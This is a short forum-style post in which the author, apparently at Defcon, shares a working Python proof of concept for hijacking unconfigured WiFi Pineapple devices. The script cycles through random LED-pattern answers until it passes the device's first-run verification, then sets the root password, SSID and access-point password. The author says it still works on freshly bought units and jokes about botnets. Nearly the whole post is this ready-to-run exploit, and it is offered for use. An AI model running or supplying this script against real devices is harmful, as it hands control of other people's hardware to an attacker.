|
I have wrote PoC half a year ago, because i needed to try it on my Chinese router, and it still works on freshly purchased pineapple devices. (hello from Defcon ;) )
And guys, it’s not a talk for the defcon, especially if you have done a botnet based on that shit… ;)
See ya tomorrow at WiFi village...
POC is below:
#!/usr/bin/env python
from random import choice
from urllib import urlencode
from httplib import HTTPConnection
settings = {
"ip": "172.16.42.1",
"port": 1471,
"root_password": "toor",
"ap_ssid": "AccessPoint",
"ap_password": "password"
}
parameters = ('amber', 'blue', 'red',)
values = ('on', 'off', 'blink',)
connection = HTTPConnection(settings["ip"], settings["port"])
php_session = ""
while True:
post_data = "{}&verify_pineapple=true".format(urlencode(dict((parameter, choice(values),) for parameter in parameters)))
connection.request("POST", "/?action=verify_pineapple", post_data, {"Content-type": "application/x-www-form-urlencoded", "Connection": "keep-alive", "Cookie" : php_session})
response = connection.getresponse()
php_session = php_session or response.getheader("set-cookie").split(";")[0]
if "action=set_password" in response.read():
connection.request("POST", "/?action=set_password", "password={0}&password2={0}&set_password=true&eula=true&sw_license=true".format(settings["root_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
connection.getresponse().read()
connection.request("POST", "/?action=set_ssid", "ssid={0}&password={1}&password2={1}&set_ssid=true".format(settings["ap_ssid"], settings["ap_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
connection.getresponse().read()
connection.request("GET", "/?action=finish")
print "Setup finished"
break
|